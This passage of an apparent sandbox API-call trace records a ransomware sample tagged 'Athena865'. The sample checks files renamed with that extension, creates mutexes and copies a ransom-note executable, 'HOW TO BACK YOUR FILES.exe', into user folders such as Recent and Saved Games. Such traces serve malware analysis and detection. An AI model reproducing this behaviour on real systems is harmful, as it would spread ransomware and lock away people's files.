lpString1=0x241e896, lpString2="ZzLapX9_v4.bmp.Athena865" | out: lpString1="ZzLapX9_v4.bmp.Athena865") returned="ZzLapX9_v4.bmp.Athena865" [0100.541] lstrlenW (lpString="ZzLapX9_v4.bmp.Athena865") returned 24 [0100.541] lstrlenW (lpString="Athena865") returned 9 [0100.541] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.541] lstrcpyW (in: lpString1=0x241e896, lpString2="_F0g8hcXHkDTsY8z.bmp.Athena865" | out: lpString1="_F0g8hcXHkDTsY8z.bmp.Athena865") returned="_F0g8hcXHkDTsY8z.bmp.Athena865" [0100.541] lstrlenW (lpString="_F0g8hcXHkDTsY8z.bmp.Athena865") returned 30 [0100.541] lstrlenW (lpString="Athena865") returned 9 [0100.541] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.542] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0100.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516840 | out: hHeap=0x4f0000) returned 1 [0100.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50af38 | out: hHeap=0x4f0000) returned 1 [0100.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned 39 [0100.542] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E9E9DD0051228FBCED963086220D714B") returned 0xec [0100.542] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.542] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0100.542] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.542] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.543] GetLastError () returned 0x0 [0100.543] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.543] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.544] CloseHandle (hObject=0xf4) returned 1 [0100.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.544] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.544] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.544] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.544] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.544] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0100.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516898 | out: hHeap=0x4f0000) returned 1 [0100.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50af50 | out: hHeap=0x4f0000) returned 1 [0100.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned 36 [0100.544] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\31624E89EB4A42C4DEB1607C1CFB9E34") returned 0xec [0100.544] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.544] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0100.544] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.545] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.545] GetLastError () returned 0x0 [0100.545] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.545] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.546] CloseHandle (hObject=0xf4) returned 1 [0100.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.546] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.546] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc74197c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc74197c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.547] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.547] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.547] lstrcpyW (in: lpString1=0x241e892, lpString2="-6FpG.lnk.Athena865" | out: lpString1="-6FpG.lnk.Athena865") returned="-6FpG.lnk.Athena865" [0100.547] lstrlenW (lpString="-6FpG.lnk.Athena865") returned 19 [0100.547] lstrlenW (lpString="Athena865") returned 9 [0100.547] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.547] lstrcpyW (in: lpString1=0x241e892, lpString2="-BE_3cSpj5VFil 1.lnk.Athena865" | out: lpString1="-BE_3cSpj5VFil 1.lnk.Athena865") returned="-BE_3cSpj5VFil 1.lnk.Athena865" [0100.547] lstrlenW (lpString="-BE_3cSpj5VFil 1.lnk.Athena865") returned 30 [0100.547] lstrlenW (lpString="Athena865") returned 9 [0100.547] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.547] lstrcpyW (in: lpString1=0x241e892, lpString2="-d2hMT.lnk.Athena865" | out: lpString1="-d2hMT.lnk.Athena865") returned="-d2hMT.lnk.Athena865" [0100.547] lstrlenW (lpString="-d2hMT.lnk.Athena865") returned 20 [0100.547] lstrlenW (lpString="Athena865") returned 9 [0100.547] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.547] lstrcpyW (in: lpString1=0x241e892, lpString2="-xyaZA U2CnstOD2Db.lnk.Athena865" | out: lpString1="-xyaZA U2CnstOD2Db.lnk.Athena865") returned="-xyaZA U2CnstOD2Db.lnk.Athena865" [0100.547] lstrlenW (lpString="-xyaZA U2CnstOD2Db.lnk.Athena865") returned 32 [0100.547] lstrlenW (lpString="Athena865") returned 9 [0100.547] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.547] lstrcpyW (in: lpString1=0x241e892, lpString2="0BDQB_ktEMwWI.mkv.lnk.Athena865" | out: lpString1="0BDQB_ktEMwWI.mkv.lnk.Athena865") returned="0BDQB_ktEMwWI.mkv.lnk.Athena865" [0100.547] lstrlenW (lpString="0BDQB_ktEMwWI.mkv.lnk.Athena865") returned 31 [0100.547] lstrlenW (lpString="Athena865") returned 9 [0100.547] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.548] lstrcpyW (in: lpString1=0x241e892, lpString2="0c5kw1m6nMri2-3ecf.lnk.Athena865" | out: lpString1="0c5kw1m6nMri2-3ecf.lnk.Athena865") returned="0c5kw1m6nMri2-3ecf.lnk.Athena865" [0100.548] lstrlenW (lpString="0c5kw1m6nMri2-3ecf.lnk.Athena865") returned 32 [0100.548] lstrlenW (lpString="Athena865") returned 9 [0100.548] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.548] lstrcpyW (in: lpString1=0x241e892, lpString2="0tnAHeA3v9Mw-E.lnk.Athena865" | out: lpString1="0tnAHeA3v9Mw-E.lnk.Athena865") returned="0tnAHeA3v9Mw-E.lnk.Athena865" [0100.548] lstrlenW (lpString="0tnAHeA3v9Mw-E.lnk.Athena865") returned 28 [0100.548] lstrlenW (lpString="Athena865") returned 9 [0100.548] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.548] lstrcpyW (in: lpString1=0x241e892, lpString2="0xIvyuGU7FVwbG0FNZ.lnk.Athena865" | out: lpString1="0xIvyuGU7FVwbG0FNZ.lnk.Athena865") returned="0xIvyuGU7FVwbG0FNZ.lnk.Athena865" [0100.548] lstrlenW (lpString="0xIvyuGU7FVwbG0FNZ.lnk.Athena865") returned 32 [0100.548] lstrlenW (lpString="Athena865") returned 9 [0100.548] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.548] lstrcpyW (in: lpString1=0x241e892, lpString2="126u33D16r7P2LIlBaI.lnk.Athena865" | out: lpString1="126u33D16r7P2LIlBaI.lnk.Athena865") returned="126u33D16r7P2LIlBaI.lnk.Athena865" [0100.548] lstrlenW (lpString="126u33D16r7P2LIlBaI.lnk.Athena865") returned 33 [0100.548] lstrlenW (lpString="Athena865") returned 9 [0100.548] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.548] lstrcpyW (in: lpString1=0x241e892, lpString2="16kFnlYu4.lnk.Athena865" | out: lpString1="16kFnlYu4.lnk.Athena865") returned="16kFnlYu4.lnk.Athena865" [0100.548] lstrlenW (lpString="16kFnlYu4.lnk.Athena865") returned 23 [0100.548] lstrlenW (lpString="Athena865") returned 9 [0100.548] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.548] lstrcpyW (in: lpString1=0x241e892, lpString2="19X-QiT8i63EYh7.lnk.Athena865" | out: lpString1="19X-QiT8i63EYh7.lnk.Athena865") returned="19X-QiT8i63EYh7.lnk.Athena865" [0100.548] lstrlenW (lpString="19X-QiT8i63EYh7.lnk.Athena865") returned 29 [0100.548] lstrlenW (lpString="Athena865") returned 9 [0100.548] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.548] lstrcpyW (in: lpString1=0x241e892, lpString2="1RVMA-5c0shFPVx.lnk.Athena865" | out: lpString1="1RVMA-5c0shFPVx.lnk.Athena865") returned="1RVMA-5c0shFPVx.lnk.Athena865" [0100.548] lstrlenW (lpString="1RVMA-5c0shFPVx.lnk.Athena865") returned 29 [0100.548] lstrlenW (lpString="Athena865") returned 9 [0100.548] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.549] lstrcpyW (in: lpString1=0x241e892, lpString2="23K6.lnk.Athena865" | out: lpString1="23K6.lnk.Athena865") returned="23K6.lnk.Athena865" [0100.549] lstrlenW (lpString="23K6.lnk.Athena865") returned 18 [0100.549] lstrlenW (lpString="Athena865") returned 9 [0100.549] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.549] lstrcpyW (in: lpString1=0x241e892, lpString2="2BPJ3u.mkv.lnk.Athena865" | out: lpString1="2BPJ3u.mkv.lnk.Athena865") returned="2BPJ3u.mkv.lnk.Athena865" [0100.549] lstrlenW (lpString="2BPJ3u.mkv.lnk.Athena865") returned 24 [0100.549] lstrlenW (lpString="Athena865") returned 9 [0100.549] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.549] lstrcpyW (in: lpString1=0x241e892, lpString2="3YVoBFm.mkv.lnk.Athena865" | out: lpString1="3YVoBFm.mkv.lnk.Athena865") returned="3YVoBFm.mkv.lnk.Athena865" [0100.549] lstrlenW (lpString="3YVoBFm.mkv.lnk.Athena865") returned 25 [0100.549] lstrlenW (lpString="Athena865") returned 9 [0100.549] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.549] lstrcpyW (in: lpString1=0x241e892, lpString2="5JH81rpePN6WPn_.lnk.Athena865" | out: lpString1="5JH81rpePN6WPn_.lnk.Athena865") returned="5JH81rpePN6WPn_.lnk.Athena865" [0100.549] lstrlenW (lpString="5JH81rpePN6WPn_.lnk.Athena865") returned 29 [0100.549] lstrlenW (lpString="Athena865") returned 9 [0100.549] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.549] lstrcpyW (in: lpString1=0x241e892, lpString2="5zLI.ots.lnk.Athena865" | out: lpString1="5zLI.ots.lnk.Athena865") returned="5zLI.ots.lnk.Athena865" [0100.549] lstrlenW (lpString="5zLI.ots.lnk.Athena865") returned 22 [0100.549] lstrlenW (lpString="Athena865") returned 9 [0100.549] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.549] lstrcpyW (in: lpString1=0x241e892, lpString2="65u3eFUv6kzfj.lnk.Athena865" | out: lpString1="65u3eFUv6kzfj.lnk.Athena865") returned="65u3eFUv6kzfj.lnk.Athena865" [0100.549] lstrlenW (lpString="65u3eFUv6kzfj.lnk.Athena865") returned 27 [0100.549] lstrlenW (lpString="Athena865") returned 9 [0100.549] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.549] lstrcpyW (in: lpString1=0x241e892, lpString2="6gDHUsOfdzBpu1Km.lnk.Athena865" | out: lpString1="6gDHUsOfdzBpu1Km.lnk.Athena865") returned="6gDHUsOfdzBpu1Km.lnk.Athena865" [0100.549] lstrlenW (lpString="6gDHUsOfdzBpu1Km.lnk.Athena865") returned 30 [0100.549] lstrlenW (lpString="Athena865") returned 9 [0100.549] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.550] lstrcpyW (in: lpString1=0x241e892, lpString2="6Rn0J_l.lnk.Athena865" | out: lpString1="6Rn0J_l.lnk.Athena865") returned="6Rn0J_l.lnk.Athena865" [0100.550] lstrlenW (lpString="6Rn0J_l.lnk.Athena865") returned 21 [0100.550] lstrlenW (lpString="Athena865") returned 9 [0100.550] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.550] lstrcpyW (in: lpString1=0x241e892, lpString2="6Yik1-OYAgjiRnPga.mkv.lnk.Athena865" | out: lpString1="6Yik1-OYAgjiRnPga.mkv.lnk.Athena865") returned="6Yik1-OYAgjiRnPga.mkv.lnk.Athena865" [0100.550] lstrlenW (lpString="6Yik1-OYAgjiRnPga.mkv.lnk.Athena865") returned 35 [0100.550] lstrlenW (lpString="Athena865") returned 9 [0100.550] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.550] lstrcpyW (in: lpString1=0x241e892, lpString2="7jk3oaLR.lnk.Athena865" | out: lpString1="7jk3oaLR.lnk.Athena865") returned="7jk3oaLR.lnk.Athena865" [0100.550] lstrlenW (lpString="7jk3oaLR.lnk.Athena865") returned 22 [0100.550] lstrlenW (lpString="Athena865") returned 9 [0100.550] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.550] lstrcpyW (in: lpString1=0x241e892, lpString2="7_xWSn.flv.lnk.Athena865" | out: lpString1="7_xWSn.flv.lnk.Athena865") returned="7_xWSn.flv.lnk.Athena865" [0100.550] lstrlenW (lpString="7_xWSn.flv.lnk.Athena865") returned 24 [0100.550] lstrlenW (lpString="Athena865") returned 9 [0100.550] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.550] lstrcpyW (in: lpString1=0x241e892, lpString2="8 S4kdjOc2hOb4-n7.lnk.Athena865" | out: lpString1="8 S4kdjOc2hOb4-n7.lnk.Athena865") returned="8 S4kdjOc2hOb4-n7.lnk.Athena865" [0100.550] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.lnk.Athena865") returned 31 [0100.550] lstrlenW (lpString="Athena865") returned 9 [0100.550] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.550] lstrcpyW (in: lpString1=0x241e892, lpString2="8A6iUe75-AGFNFLQ.lnk.Athena865" | out: lpString1="8A6iUe75-AGFNFLQ.lnk.Athena865") returned="8A6iUe75-AGFNFLQ.lnk.Athena865" [0100.550] lstrlenW (lpString="8A6iUe75-AGFNFLQ.lnk.Athena865") returned 30 [0100.550] lstrlenW (lpString="Athena865") returned 9 [0100.550] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.550] lstrcpyW (in: lpString1=0x241e892, lpString2="8fTkcnQUwae4Ny.flv.lnk.Athena865" | out: lpString1="8fTkcnQUwae4Ny.flv.lnk.Athena865") returned="8fTkcnQUwae4Ny.flv.lnk.Athena865" [0100.550] lstrlenW (lpString="8fTkcnQUwae4Ny.flv.lnk.Athena865") returned 32 [0100.550] lstrlenW (lpString="Athena865") returned 9 [0100.551] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.551] lstrcpyW (in: lpString1=0x241e892, lpString2="8lbZk.flv.lnk.Athena865" | out: lpString1="8lbZk.flv.lnk.Athena865") returned="8lbZk.flv.lnk.Athena865" [0100.551] lstrlenW (lpString="8lbZk.flv.lnk.Athena865") returned 23 [0100.551] lstrlenW (lpString="Athena865") returned 9 [0100.551] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.551] lstrcpyW (in: lpString1=0x241e892, lpString2="8Ua28ahOOat.lnk.Athena865" | out: lpString1="8Ua28ahOOat.lnk.Athena865") returned="8Ua28ahOOat.lnk.Athena865" [0100.551] lstrlenW (lpString="8Ua28ahOOat.lnk.Athena865") returned 25 [0100.551] lstrlenW (lpString="Athena865") returned 9 [0100.551] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.551] lstrcpyW (in: lpString1=0x241e892, lpString2="9jKc4GuOLdb.lnk.Athena865" | out: lpString1="9jKc4GuOLdb.lnk.Athena865") returned="9jKc4GuOLdb.lnk.Athena865" [0100.551] lstrlenW (lpString="9jKc4GuOLdb.lnk.Athena865") returned 25 [0100.551] lstrlenW (lpString="Athena865") returned 9 [0100.551] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.551] lstrcpyW (in: lpString1=0x241e892, lpString2="A8s46zioVN.lnk.Athena865" | out: lpString1="A8s46zioVN.lnk.Athena865") returned="A8s46zioVN.lnk.Athena865" [0100.551] lstrlenW (lpString="A8s46zioVN.lnk.Athena865") returned 24 [0100.551] lstrlenW (lpString="Athena865") returned 9 [0100.551] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.551] lstrcpyW (in: lpString1=0x241e892, lpString2="al9qeSvEUMbs.lnk.Athena865" | out: lpString1="al9qeSvEUMbs.lnk.Athena865") returned="al9qeSvEUMbs.lnk.Athena865" [0100.551] lstrlenW (lpString="al9qeSvEUMbs.lnk.Athena865") returned 26 [0100.551] lstrlenW (lpString="Athena865") returned 9 [0100.551] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.551] lstrcpyW (in: lpString1=0x241e892, lpString2="ASKyKcLL.mkv.lnk.Athena865" | out: lpString1="ASKyKcLL.mkv.lnk.Athena865") returned="ASKyKcLL.mkv.lnk.Athena865" [0100.551] lstrlenW (lpString="ASKyKcLL.mkv.lnk.Athena865") returned 26 [0100.551] lstrlenW (lpString="Athena865") returned 9 [0100.551] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.551] lstrcpyW (in: lpString1=0x241e892, lpString2="AutomaticDestinations" | out: lpString1="AutomaticDestinations") returned="AutomaticDestinations" [0100.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50af50 [0100.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53ba20 [0100.552] lstrcatW (in: lpString1="AutomaticDestinations", lpString2="\\" | out: lpString1="AutomaticDestinations\\") returned="AutomaticDestinations\\" [0100.552] lstrcatW (in: lpString1="AutomaticDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe") returned="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" [0100.552] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.552] lstrcpyW (in: lpString1=0x241e892, lpString2="B6lAo1oUZJ4n11zTi.lnk.Athena865" | out: lpString1="B6lAo1oUZJ4n11zTi.lnk.Athena865") returned="B6lAo1oUZJ4n11zTi.lnk.Athena865" [0100.552] lstrlenW (lpString="B6lAo1oUZJ4n11zTi.lnk.Athena865") returned 31 [0100.552] lstrlenW (lpString="Athena865") returned 9 [0100.552] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.552] lstrcpyW (in: lpString1=0x241e892, lpString2="bDM-N-Hfz63KpsbyDOQ.lnk.Athena865" | out: lpString1="bDM-N-Hfz63KpsbyDOQ.lnk.Athena865") returned="bDM-N-Hfz63KpsbyDOQ.lnk.Athena865" [0100.552] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.lnk.Athena865") returned 33 [0100.552] lstrlenW (lpString="Athena865") returned 9 [0100.552] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.552] lstrcpyW (in: lpString1=0x241e892, lpString2="bwco6yVtwvrspPp.lnk.Athena865" | out: lpString1="bwco6yVtwvrspPp.lnk.Athena865") returned="bwco6yVtwvrspPp.lnk.Athena865" [0100.552] lstrlenW (lpString="bwco6yVtwvrspPp.lnk.Athena865") returned 29 [0100.552] lstrlenW (lpString="Athena865") returned 9 [0100.553] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.553] lstrcpyW (in: lpString1=0x241e892, lpString2="cc-i8iL8NSZcth9GSj_2.lnk.Athena865" | out: lpString1="cc-i8iL8NSZcth9GSj_2.lnk.Athena865") returned="cc-i8iL8NSZcth9GSj_2.lnk.Athena865" [0100.553] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.lnk.Athena865") returned 34 [0100.553] lstrlenW (lpString="Athena865") returned 9 [0100.553] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.553] lstrcpyW (in: lpString1=0x241e892, lpString2="CDOyMLO_YVxau.lnk.Athena865" | out: lpString1="CDOyMLO_YVxau.lnk.Athena865") returned="CDOyMLO_YVxau.lnk.Athena865" [0100.553] lstrlenW (lpString="CDOyMLO_YVxau.lnk.Athena865") returned 27 [0100.553] lstrlenW (lpString="Athena865") returned 9 [0100.553] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.553] lstrcatW (in: lpString1="CustomDestinations", lpString2="\\" | out: lpString1="CustomDestinations\\") returned="CustomDestinations\\" [0100.553] lstrcatW (in: lpString1="CustomDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CustomDestinations\\HOW TO BACK YOUR FILES.exe") returned="CustomDestinations\\HOW TO BACK YOUR FILES.exe" [0100.553] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.554] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0100.554] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.554] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.555] GetLastError () returned 0x0 [0100.555] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.555] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.556] CloseHandle (hObject=0xf4) returned 1 [0100.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.556] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7465a80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7465a80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, 